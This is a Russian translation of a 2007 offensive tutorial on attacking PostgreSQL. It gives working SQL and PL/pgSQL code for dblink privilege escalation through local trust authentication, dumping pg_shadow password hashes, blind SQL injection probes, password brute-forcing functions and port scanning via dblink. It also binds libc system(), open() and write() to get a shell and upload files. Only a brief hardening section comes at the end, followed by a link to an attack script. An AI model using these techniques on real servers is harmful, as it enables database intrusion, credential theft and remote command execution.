Развлечения с P o s t g r e S Q L Автор: Nico Leidecker ( [email protected]) Дата: June 05 2007 Перевод: NeMiNeM PostgreSQL - это объектно-реляционная система управления базами данных (ORDBMS) (по-русски ОРСУБД или просто СУБД) основанная на POSTGRES, версии 4.2, которая была разработана в Научном Компьютерном Департаменте Беркли Калифорнийского Университета. POSTGRES является пионером во многих аспектах, которые стали доступны в некоторых коммерческих СУБД много позже. PostgreSQL - это продукт с открытым исходным кодом, который является потомком оригинального кода, написанного в Беркли. PostgreSQL поддерживает большую часть стандарта SQL и предлагает множество современных возможностей. (подробно) [Предисловие] В этой статье будут представлены несколько идей для эксплуатации уязвимостей в типичных конфигурациях PostgreSQL. Большинство идей не новые, но всё же их тяжело найти или очень легко недосмотреть. Все примеры проверялись на PostgreSQL 8.1 и могут не совпадать с предыдущими версиями. Версия 8.2 обсуждается в разделе о pgchanges. [dblink: Корень Зла] Dblink – часть PostgreSQL начиная с версии 7.2. DBlink позволяет организовать связь между серверами и с одного сервера обращаться за данными на другой сервер. Типичное использование dblink: Code: CREATE VIEW entry_states AS SELECT * FROM dblink('host=1.2.3.4 dbname=remotedb user=dbuser password=secretpass', 'SELECT id, title FROM entries') AS remote_entries(id INT, title TEXT); Это только небольшой пример как можно использовать dblink. Но нам более интересно как можно злоупотреблять им. [Расширение привилегий] В конфигурации PostgreSQL по-умолчанию включена локальная trust-аутентификация, т.е. каждое подключение к бд с локального хоста будет принято даже без ввода пароля. Трудно понять, почему такая опция включена по-умолчанию и соответствующие предупреждение в файле 'pg_hba.conf' безошибочное: Внимание: Конфигурация системы для локальной trust-аутентификации даст возможность любому локальному пользователю подключится к PostgreSQL под именем другого пользователя, даже superuser. Если вы не доверяете локальным пользователям, используйте другой метод аутентификации. Опытный админ скорее всего не пропустит этого, но новичок может и не отключить такую аутентификацию. Итак! Что же будет если мы будем использовать dblink для подключения к локальному хосту? Code: SELECT * FROM dblink('host=127.0.0.1 user=someuser dbname=somedb', 'SELECT column FROM sometable') RETURNS (result TEXT); Такой запрос будет исполнен с правами 'someuser' и выдаст результат в текущую сессию. В целом, пользователь может и не быть админом. Но если мы знаем логин админа, идентифицировали хост (с помощью dblink) и на сервере включена локальная trust-аутентификация – у нас есть больше возможностей. Пример для непривилегированного пользователя 'someuser': Code: $ psql -U someuser somedb somedb=> select usename, usesuper from pg_user where usename=current_user; usename | usesuper ----------+---------- someuser | f (1 row) somedb=> select usename from pg_user where usesuper='t'; usename --------- admin (1 row) Чтоб доказать это, попытаемся сначала как непривилегированный пользователь сделать запрос на хэшы паролей с файла pg_shadow а потом попробуем с помощью расширения привелегий и пользователя 'admin'. Code: somedb=> select usename, passwd from pg_shadow; ERROR: permission denied for relation pg_shadow somedb=> SELECT * FROM dblink('host=127.0.0.1 user=admin dbname=somedb', 'select usename,passwd from pg_shadow') returns (usename TEXT, passwd TEXT); usename | passwd ----------+------------------------------------- admin | md549088b3a87b8ce56ecd39259d17ff834 someuser | md5e7b0ce63e5eee01ee6268b3b6258e8b2 (2 rows) Эти запросы можно было бы конечно использовать и в SQL-инъекциях. Очевидно, что необходимым условием есть идентификация установлена ли библиотека dblink и включена ли локальная trust-аутентификация. Давайте предположим что мы проводим blind SQL injection и нам нужны два простых запроса чтоб достать необходимую информацию: Code: SELECT repeat(md5(1), 500000) WHERE EXISTS (SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2); SELECT repeat(md5(1),500000) WHERE EXISTS ( SELECT * FROM dblink('host=127.0.0.1 user=admin dbname=somedb', 'SELECT 1') RETURNS (i INT)); Если есть возможность расширения привелегий, то есть возможность использовать и более интересные функции. Но перед этим, давайте ближе ознакомимся с dblink и с тем, что можно достичь без расширения привелегий. [Брут-форс учётных записей] Если локальная trust-аутентификация отключена мы всё же можем брутить эккаунты, возможно будет акк с простым паролем. Самый простой, но примитивный вариант – это посылать в SQL запросе к серверу слова, вложенные в POST или GET запрос. Но, необыкновенное количество запросов может вызвать подозрение. Другой метод, который использует только один или два запроса, а остальное оставляет для обработки базой данных это PL/pgSQL - загружаемый процедурный язык для PostgreSQL, который должен создать администратор выполнив CREATE LANGUAGE 'plpgsql'. Мы можем проверить его присутствие: Code: somedb=> SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; lanname | lanacl ---------+--------- plpgsql | (1 row) Ура! Он присутствует! И даже больше! По-умолчанию создания функций – это привилегия возможна для PUBLIC, где PUBLIC – это любой пользователь бд. Чтоб избежать этого, админ должен был отменить привилегию USAGE с домена PUBLIC: somedb=# REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC; В этом случаи, наш предыдущий запрос выдал бы такой результат: Code: somedb=> SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; lanname | lanacl ---------+----------------- plpgsql | {admin=U/admin} (1 row) Однако, у нас есть право использовать язык и таким образом создавать произвольные функции. Итак, создадим функцию, которая составляет слова и использует их в строке соединения dblink с локальным хостом. Кроме того, нам нужен обработчик ошибок, на случай если аутентификация провалится. Code: CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXT AS $$ DECLARE word TEXT; BEGIN FOR a IN 65..122 LOOP FOR b IN 65..122 LOOP FOR c IN 65..122 LOOP FOR d IN 65..122 LOOP BEGIN word := chr(a) || chr(b) || chr(c) || chr(d); PERFORM(SELECT * FROM dblink(' host=' || host || ' port=' || port || ' dbname=' || dbname || ' user=' || username || ' password=' || word, 'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN -- do nothing END; END LOOP; END LOOP; END LOOP; END LOOP; RETURN NULL; END; $$ LANGUAGE 'plpgsql'; Этот исключительно инкрементный метод брута возвратит слово как результат удачной аутентификации или же NULL (нулевое значение). К сожалению, как и все брут-форс техники, эта займет очень много времени и не факт что принесет результат. Другим вариантом есть использование списка готовых слов. Чтоб это сделать, мы можем использоваться возможностями другой удаленной бд: Code: CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXT AS $$ BEGIN FOR word IN (SELECT word FROM dblink('host=1.2.3.4 user=name password=qwerty dbname=wordlists', 'SELECT word FROM wordlist') RETURNS (word TEXT)) LOOP BEGIN PERFORM(SELECT * FROM dblink(' host=' || host || ' port=' || port || ' dbname=' || dbname || ' user=' || username || ' password=' || word, 'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN -- do nothing END; END LOOP; RETURN NULL; END; $$ LANGUAGE 'plpgsql' В зависимости от данных в базе, было бы логично получать слова с текущих данных. Вот пример функции, которая достает и делает запросы в каждую таблицу и атрибут типа TEXT из pg_attribute и pg_class: Code: CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXT AS $$ DECLARE qry TEXT; row RECORD; word text; BEGIN FOR row IN (SELECT relname, attname FROM (pg_attribute JOIN pg_type ON atttypid=pg_type.oid) JOIN pg_class ON attrelid = pg_class.oid WHERE typname = 'text') LOOP BEGIN qry = 'SELECT ' || row.attname || ' AS word ' || 'FROM ' || row.relname || ' ' || 'WHERE ' || row.attname || ' IS NOT NULL'; FOR word IN EXECUTE (qry) LOOP BEGIN PERFORM(SELECT * FROM dblink(' host=' || host || ' port=' || port || ' dbname=' || dbname || ' user=' || username || ' password=' || word, 'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN -- do nothing END; END LOOP; END; END LOOP; RETURN NULL; END; $$ language 'plpgsql'; Можно улучшить код, разделяя результаты пробелами и удаляя все ненужные спец. символы. [Сканирование портов с помощью удалённого доступа] Когда попытка подключения неуспешна, dblink показывает исключение `sqlclient_unable_to_establish_sqlconnection' и разъяснение ошибки. Некоторые примеры: Code: SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 user=name password=secret dbname=abc connect_timeout=10'); a) Хост не работает. DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? b) Закрытый порт DETAIL: could not connect to server: Connection refused Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? c) Порт открытый DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request или DETAIL: FATAL: password authentication failed for user "name" d) Порт открытый или стоит фильтр DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? К сожалению, нет возможности получить детали исключения в пределах PL/pgSQL функции. Но возможно получить детали, если есть возможность подключится к серверу PostgreSQL напрямую. Если нет возможности получить логины и пароли просто из системных таблиц, атака из списка слов может принести результат. [Подключение функций] Если мы присмотримся ближе к dblink то увидим такие строчки: CREATE OR REPLACE FUNCTION dblink_connect (text) RETURNS text AS '$libdir/dblink','dblink_connect' LANGUAGE 'C' STRICT; Это простой оператор CREATE с переменной $libdir, которая представляет директорию библиотеки PostgreSQL. После исполнения запроса, функция подключается с библиотеки dblink к dblink_connect(), которая ожидает аргумент TEXT. Нет ограничений на библиотеки и функции, и в какой директории мы ищем эти функции. Следовательно, мы можем создать функцию и подключить ее к любой функции произвольной библиотеки…припустим `libc': CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT; По-умолчанию, обыкновенный пользователь не будет иметь прав на создание функций с помощью языка `C'. Но в случаи, если мы супер-пользователь или используем расширение привелегий, можем получить шелл. [Получаем шелл] PostgreSQL предлагает функцию для строк на С, кот. называеться CSTRING. Это позволяет нам не только подключать функции, которые ожидают целые аргументы, но также позволяет изменять структуры TEXT в необработанные символьные массивы. И это открывает для нас новые ворота: CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; Всё, что мы делаем с system() будет исполнено в контексте сервера. Однако не факт, что это будет рут. [Заливаем файлы] Экспериментируя с функциями, мы можем открывать, вводить информацию и закрывать файлы. Вот интересный приём для отправки данных с бинарника к бд сервера и потом ввод данных в файл. Нам нужны функции: CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT; CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT; CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT; Отправка бинарных данных на сервер, который потом передаст их к бд может провалится. Для этого, лучше перекодировать бинарные данные в буквенно-цифровые. Base64 – наш друг и сервер PostgreSQL соединит хранящийся процедуры. PostgreSQL будет запускать процесс для каждого нового подключения, таким образом файл-дескриптор будет отключатся вместе с завершением соединения. Это значит, что нам нужно будет за каждым разом открывать тот же файл чтоб переслать часть информации. Но это не проблема. Вот функция, которая открывает, вписывает информацию и закрывает файл, а также декодирует строку base64 перед тем, как вписать ее в файл: Code: CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS $$ DECLARE fh int; s int; w bytea; i int; BEGIN SELECT open(textout(file)::cstring, 522, 448) INTO fh; IF fh <= 2 THEN RETURN 1; END IF; SELECT decode(s, 'base64') INTO w; i := 0; LOOP EXIT WHEN i >= octet_length(w); SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs; IF rs < 0 THEN RETURN 2; END IF; i := i + 1; END LOOP; SELECT close(fh) INTO rs; RETURN 0; END; $$ LANGUAGE 'plpgsql'; Цифры 522 и 448 в вызове функции open() – это значения для ( O_CREAT | O_APPEND | O_RDWR ) и S_IRWXU. Заметьте, они зависят от ОС. [Функции sleep и copy в PostgreSQL 8.2] Много вещей в этой статье основанные на версии 8.1 и не будут работать или будут плохо работать в версии 8.2. К примеру, в новой версии есть встроенная функция pg_sleep. Вообще-то эта функция упростит нам жизнь. Но другой новой фичей есть проверка на совместность при загрузке библиотек. Каждая библиотека должна иметь спец.блок для идентификации. Конечно, libc не имеет такого блока и по этому не может быть загружена. Вкратце, мы не можем использовать system() для исполнения шелл-команд и write(), open() или close() для работы с файлами. Но мы можем использовать команду COPY для записи в файл. К сожалению, нам понадобятся права супер-юзера для копирования данных с таблицы в файл и мы не сможем записать бинарные данные в файл. Вопрос: Поможет ли нам запись с низкими правами данных ASCII в глобальный каталог для записи (например `/tmp') ? Скорее всего – нет.
[Рекомендации и предотвращение] Во-первых нужно отключить локальную trust-аутентификацию. Для этого отредактируйте строчки по-умолчанию в конце файла pg_hba.conf: local all all ident sameuser host all all md5 Как результат, каждый пользователь (локальный или удаленный) должен будет идентифицироваться. Расширение привелегий с помощью dblink уже не будет возможным. Для отключения мэппинга к произвольным библиотекам лучше всего обновить версию PostgreSQL. Но также будет необходимо убедиться что у всех пользователей ограниченные права. [Скрипт pgshell] `pgshell' – это скрипт на пэрл, который делает то, что описано в этой статье. Он использует SQL-инъекции для собирания данных о системе, расширяет привелегии, создает шелл и загружает файлы. Описание и сам шелл здесь: http://www.leidecker.info/pgshell/ [Ссылки] http://db.cs.berkeley.edu/postgres.html http://www.postgresql.org/about/history http://www.postgresql.org/about/users http://www.linuxshare.ru/postgresql/manual/intro-whatis.html Оригинал - http://milw0rm.com/papers/165 Перевод: NeMiNeM Специально для antichat.ru ps: В статье/переводе возможны ошибки. Просьба не кричать, а спокойно указать и исправить Спасибо.